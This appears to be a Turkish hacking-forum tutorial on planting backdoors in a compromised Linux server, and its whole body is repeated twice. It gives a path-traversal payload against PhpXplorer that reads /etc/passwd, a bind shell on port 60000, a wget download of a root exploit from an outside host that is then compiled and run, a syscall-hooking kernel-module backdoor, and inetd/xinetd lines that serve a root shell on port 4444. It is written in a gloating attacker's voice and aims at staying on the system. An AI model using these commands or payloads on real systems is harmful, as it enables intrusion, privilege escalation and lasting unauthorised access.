MySouLNeedLove
New member
Merhaba Hackhell Ailesi.
Şimdi Sizlere Backdoor ( Gizli Kapılar ) Açıklayacagım.
Hackhell İçin Giden Saatler Olsun !
Hersey Hackhell İçin
Şimdi Sizlere Backdoor ( Gizli Kapılar ) Açıklayacagım.
Hackhell İçin Giden Saatler Olsun !
Hersey Hackhell İçin
Backdoor Nedir :
Şimdi Goreceksiniz :=)
Kısa Bir Anlatım Yapayım :
Ornek :
system/action.php?sShare=guest&sAction=../../../../../../../../../../../../etc/passwd%00
Şimdi PhpXplorer Sistemlerdeki File Include Bu.
Bu Yontemle herhangi Bir Dosyayı Okuyabılırız Oyle degıl Mı ?
Yani Config Dosyası var Eger Config’in Anlamını Bilen Biri Ordaysa İlk Bakacagı yer Config Dosyasıdır.
Hemen Baktık :
#define port 60000
#define shell "/bin/sh"
execl(shell,shell,(char *)0);
AaAaAa Açık Port 60000
Hadi Başlayalım Bakalım :
Başlat/Çalıştır/cmd
telnet color=#0000ffhttp://www.hedefsite.com 60000
Bu Komutla Telnetten Hedefsiteye 60000.Porttan Baglandık.
Şimdi Sisteme Baglandık.
id İle Serverda ne Oldugumuza Bakalım :
id :
uid=501(nobOdy) gid=501(nobOdy) groups=501(nobOdy) <<<--normal kullanıcı modunda.
Şimdi Sistemde Root Olmak İçin Elimizden Geleni Yapıcaz.
uname -a ile Server Hakkında Bilgi Sahibi Olalım :
Linux Hedef Site 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown
cat /etc/redhat-release Komutu İle Server Surumunu Orenelım :
Mandrake Linux release 8.2 (Bluebird) for i586
Şimdi cd Komutuyla /tmp Klasorune Gıdecez.
cd /tmp
pwd Yazıp Hangı Klasorde Oldugumuzu Orenıyoruz.
pwd;
/tmp
/usr/bin/wget color=#800080http://siteadi.com/exploitklasoru/wild.c;
--00:58:43-- color=#800080http://siteadi.com/exploitklasoru/wild.c
=> `wild.c’
Connecting to exploit.sitesi:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,767 [text/plain]
0K ...... 100%
00:58:43 .....`wild.c’ saved [6767/6767]
Şimdi Is Komutuyla Oldugumuz Klasordekı Dosyalara Bakıyoruz.
Is :
wild.c ---> Sisteme download ettiğimiz Dosya.
rootkit
rootwild
Şimdi Exploiti Derleyelim :
/bin/gcc -o wild wild.c;
wild <<<--- Derlenmiş Hali
wild.c
rootkit
rootwild
Exploiti Çalıstırmaya Geldi Sıra.
./wild.c
[*] Wait ....
[*] Wait ......
[*] Connect [ By WiLdBoY ]
[*] Helal Sana
id;
uid=0(root) gid=0(root) groups=0(root)
:=)
Gerçekleştirebileceğimiz Backdoorlardan bazıları:
Belli süre zarfında içinde geçerli olacak Backdoor açma
Herhangi bir servis açma
Kernel Backdoor(ları)
Dosyaların içine gizlenilen Backdoor(lar)
Rootkitlerin yardımıyla kurulan Backdoor(lar)
Amacımız Sistem Kalabıldıgımız Kadar Kalmak.
Burda Buyuk Ziyafet Çekiyoruz :=)
Gitmek İstemeyiz Demi :=)
Portların Durumuna Bakalım :
nmap -p 1-10000 Backdoor.sistem
Starting nmap V. 2.54BETA30 ( www.site.com/klasor/ )
Interesting ports on arkakapili.sistem (xxx.xxx.xxx.xxx):
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop-3
443/tcp open https
3306/tcp open mysql
6767/tcp open unknown ----> Port’a Baksen :=)
Baglanalım :
telnet www.hedefsite.com 6767
Trying xxx.xxx.xxx.xxx...
Connected to arkakapili.sistem (xxx.xxx.xxx.xxx).
Escape character is ’^]’.
offf Baglan be :=)
id Diyelim Bakalım :=)
id;
uid=0(root) gid=0(root) groups=0(root) Yonetıcı Allah rahmet Eglesın :=)
Sistemde Çalısan Uygulamalara Bakalım ps -aux Komutu İle:
ps -aux :
root 1 0.2 0.3 1412 504 ? S 01:37 0:04 init
root 2 0.0 0.0 0 0 ? SW 01:37 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SW 01:37 0:00 [kapmd]
root 4 0.0 0.0 0 0 ? SWN 01:37 0:00 [ksoftirqd_CPU0]
root 5 0.0 0.0 0 0 ? SW 01:37 0:00 [kswapd]
SockStat İle Sistemin Kullandıgı Portalara Bakalım :
./sockstat
SocketStat v1.0 - A Socket Information Program
Pro User Process Local Address State
UDP root portmap[776] x.x.x.x:111 CLOSED
TCP root portmap[776] x.x.x.x:111 LISTEN
UDP root rpc.sta[842] x.x.x.x:1018 CLOSED
UDP root rpc.sta[842] x.x.x.x:1024 CLOSED
TCP root rpc.sta[842] x.x.x.x:1024 LISTEN
UDP named named[1018] x.x.x.x:1025 CLOSED
UDP named named[1018] x.x.x.x:53 CLOSED
TCP named named[1018] x.x.x.x:53 LISTEN
Yeni Port Açabiliriz.
Ama
Ben tasvir etmem Cunku Kolayca Tespit edilebiliyor.
Diğelim lsmod ;
Module Size Used by Tainted
kbdv 940 0 (unused)
nfsd 69536 8 (autoclean)
lockd 49344 1 (autoclean) [nfsd]
sunrpc 62964 1 (autoclean) [nfsd lockd]
...
ext3 62092 1
Misafir sistemde yönetici durumuna geçmiş, sistemi yeteri kadar incelemiş.
Böyle bir sistemi bir daha nerede bulurum düşüncesiyle sistemde yetkileri tekrar eline
almak icin gerçek yöneticinin düşünemeyeceği yollara başvurma ihtimalide vardır
Sistemde
açık portlar kapatılabilir, suid tipi dosyalarin bu özellikleri kaldırılabilir` düşüncesine
sahip bir saldırgan türüyle karşı karşıya kalınabilir.
bir .c kodunu sisteme aktaran kişi root yetkisiyle dosyayı
derlediğini düsünelim.
Örneğin :
#define MODULE
#define __KERNEL__
#include <syscall.h>
#include <asm/uaccess.h>
#include <linux/module.h>
#include <linux/modversions.h>
...
#define FILE_NAME "wild" <--- Sihirli kelimel
extern void *sys_call_table[];
/* system calls we will replace */
int (*orig_utime)(const char *filename, struct utimbuf *buf);
int (*orig_getuid32)();
int u;
....
sys_call_table[SYS_utime] = orig_utime;
sys_call_table[SYS_getuid32] = orig_getuid32;
}
gcc -c -O2 wild.c -I/lib/modules/`uname -r`/build/include
Şimdi ls -1 Komutuyla Nelar Ver Neler Yok Die Bakalım.
wild.c
wild.o
insmod wild.o ; Diyelim
Warning: loading wild.o will taint the kernel: no license.
lsmod Diyelim :
Module Size Used by Tainted
kbdv 908 0 (unused)
Canım Sıkılınca Gırerim :=)
ssh -l avicenna Backdoor.Sistem;
Şimdi Kernal Backdoor Sisteme Tekrar Baglanmasını Beklemektedir.Yonetıcılık Sertifikası Alıcagız :=)
ssh -l avicenna Backdoor.Sistem;
ffavicenna@Backdoor password:
Last login: Sunday March 14 05:30:34 2006 from siteadi.com[avicenna@Backdoor avicenna]#
Heheheheeheh :=)))
cat /etc/inetd.conf ;
...
echo 4444 stream tcp nowait root /bin/sh sh -i
...
cat /etc/xinetd.d/kendim;
...
protocol = tcp |
port = 4444 |
socket_type = stream |
wait = no |
user = root |
server = /bin/sh |---
server_args = -i |
...
Şimdi Goreceksiniz :=)
Kısa Bir Anlatım Yapayım :
Ornek :
system/action.php?sShare=guest&sAction=../../../../../../../../../../../../etc/passwd%00
Şimdi PhpXplorer Sistemlerdeki File Include Bu.
Bu Yontemle herhangi Bir Dosyayı Okuyabılırız Oyle degıl Mı ?
Yani Config Dosyası var Eger Config’in Anlamını Bilen Biri Ordaysa İlk Bakacagı yer Config Dosyasıdır.
Hemen Baktık :
#define port 60000
#define shell "/bin/sh"
execl(shell,shell,(char *)0);
AaAaAa Açık Port 60000
Hadi Başlayalım Bakalım :
Başlat/Çalıştır/cmd
telnet color=#0000ffhttp://www.hedefsite.com 60000
Bu Komutla Telnetten Hedefsiteye 60000.Porttan Baglandık.
Şimdi Sisteme Baglandık.
id İle Serverda ne Oldugumuza Bakalım :
id :
uid=501(nobOdy) gid=501(nobOdy) groups=501(nobOdy) <<<--normal kullanıcı modunda.
Şimdi Sistemde Root Olmak İçin Elimizden Geleni Yapıcaz.
uname -a ile Server Hakkında Bilgi Sahibi Olalım :
Linux Hedef Site 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown
cat /etc/redhat-release Komutu İle Server Surumunu Orenelım :
Mandrake Linux release 8.2 (Bluebird) for i586
Şimdi cd Komutuyla /tmp Klasorune Gıdecez.
cd /tmp
pwd Yazıp Hangı Klasorde Oldugumuzu Orenıyoruz.
pwd;
/tmp
/usr/bin/wget color=#800080http://siteadi.com/exploitklasoru/wild.c;
--00:58:43-- color=#800080http://siteadi.com/exploitklasoru/wild.c
=> `wild.c’
Connecting to exploit.sitesi:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,767 [text/plain]
0K ...... 100%
00:58:43 .....`wild.c’ saved [6767/6767]
Şimdi Is Komutuyla Oldugumuz Klasordekı Dosyalara Bakıyoruz.
Is :
wild.c ---> Sisteme download ettiğimiz Dosya.
rootkit
rootwild
Şimdi Exploiti Derleyelim :
/bin/gcc -o wild wild.c;
wild <<<--- Derlenmiş Hali
wild.c
rootkit
rootwild
Exploiti Çalıstırmaya Geldi Sıra.
./wild.c
[*] Wait ....
[*] Wait ......
[*] Connect [ By WiLdBoY ]
[*] Helal Sana
id;
uid=0(root) gid=0(root) groups=0(root)
:=)
Gerçekleştirebileceğimiz Backdoorlardan bazıları:
Belli süre zarfında içinde geçerli olacak Backdoor açma
Herhangi bir servis açma
Kernel Backdoor(ları)
Dosyaların içine gizlenilen Backdoor(lar)
Rootkitlerin yardımıyla kurulan Backdoor(lar)
Amacımız Sistem Kalabıldıgımız Kadar Kalmak.
Burda Buyuk Ziyafet Çekiyoruz :=)
Gitmek İstemeyiz Demi :=)
Portların Durumuna Bakalım :
nmap -p 1-10000 Backdoor.sistem
Starting nmap V. 2.54BETA30 ( www.site.com/klasor/ )
Interesting ports on arkakapili.sistem (xxx.xxx.xxx.xxx):
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop-3
443/tcp open https
3306/tcp open mysql
6767/tcp open unknown ----> Port’a Baksen :=)
Baglanalım :
telnet www.hedefsite.com 6767
Trying xxx.xxx.xxx.xxx...
Connected to arkakapili.sistem (xxx.xxx.xxx.xxx).
Escape character is ’^]’.
offf Baglan be :=)
id Diyelim Bakalım :=)
id;
uid=0(root) gid=0(root) groups=0(root) Yonetıcı Allah rahmet Eglesın :=)
Sistemde Çalısan Uygulamalara Bakalım ps -aux Komutu İle:
ps -aux :
root 1 0.2 0.3 1412 504 ? S 01:37 0:04 init
root 2 0.0 0.0 0 0 ? SW 01:37 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SW 01:37 0:00 [kapmd]
root 4 0.0 0.0 0 0 ? SWN 01:37 0:00 [ksoftirqd_CPU0]
root 5 0.0 0.0 0 0 ? SW 01:37 0:00 [kswapd]
SockStat İle Sistemin Kullandıgı Portalara Bakalım :
./sockstat
SocketStat v1.0 - A Socket Information Program
Pro User Process Local Address State
UDP root portmap[776] x.x.x.x:111 CLOSED
TCP root portmap[776] x.x.x.x:111 LISTEN
UDP root rpc.sta[842] x.x.x.x:1018 CLOSED
UDP root rpc.sta[842] x.x.x.x:1024 CLOSED
TCP root rpc.sta[842] x.x.x.x:1024 LISTEN
UDP named named[1018] x.x.x.x:1025 CLOSED
UDP named named[1018] x.x.x.x:53 CLOSED
TCP named named[1018] x.x.x.x:53 LISTEN
Yeni Port Açabiliriz.
Ama
Ben tasvir etmem Cunku Kolayca Tespit edilebiliyor.
Diğelim lsmod ;
Module Size Used by Tainted
kbdv 940 0 (unused)
nfsd 69536 8 (autoclean)
lockd 49344 1 (autoclean) [nfsd]
sunrpc 62964 1 (autoclean) [nfsd lockd]
...
ext3 62092 1
Misafir sistemde yönetici durumuna geçmiş, sistemi yeteri kadar incelemiş.
Böyle bir sistemi bir daha nerede bulurum düşüncesiyle sistemde yetkileri tekrar eline
almak icin gerçek yöneticinin düşünemeyeceği yollara başvurma ihtimalide vardır
Sistemde
açık portlar kapatılabilir, suid tipi dosyalarin bu özellikleri kaldırılabilir` düşüncesine
sahip bir saldırgan türüyle karşı karşıya kalınabilir.
bir .c kodunu sisteme aktaran kişi root yetkisiyle dosyayı
derlediğini düsünelim.
Örneğin :
#define MODULE
#define __KERNEL__
#include <syscall.h>
#include <asm/uaccess.h>
#include <linux/module.h>
#include <linux/modversions.h>
...
#define FILE_NAME "wild" <--- Sihirli kelimel
extern void *sys_call_table[];
/* system calls we will replace */
int (*orig_utime)(const char *filename, struct utimbuf *buf);
int (*orig_getuid32)();
int u;
....
sys_call_table[SYS_utime] = orig_utime;
sys_call_table[SYS_getuid32] = orig_getuid32;
}
gcc -c -O2 wild.c -I/lib/modules/`uname -r`/build/include
Şimdi ls -1 Komutuyla Nelar Ver Neler Yok Die Bakalım.
wild.c
wild.o
insmod wild.o ; Diyelim
Warning: loading wild.o will taint the kernel: no license.
lsmod Diyelim :
Module Size Used by Tainted
kbdv 908 0 (unused)
Canım Sıkılınca Gırerim :=)
ssh -l avicenna Backdoor.Sistem;
Şimdi Kernal Backdoor Sisteme Tekrar Baglanmasını Beklemektedir.Yonetıcılık Sertifikası Alıcagız :=)
ssh -l avicenna Backdoor.Sistem;
ffavicenna@Backdoor password:
Last login: Sunday March 14 05:30:34 2006 from siteadi.com[avicenna@Backdoor avicenna]#
Heheheheeheh :=)))
cat /etc/inetd.conf ;
...
echo 4444 stream tcp nowait root /bin/sh sh -i
...
cat /etc/xinetd.d/kendim;
...
protocol = tcp |
port = 4444 |
socket_type = stream |
wait = no |
user = root |
server = /bin/sh |---
server_args = -i |
...
Yazan: MySoulNeedLove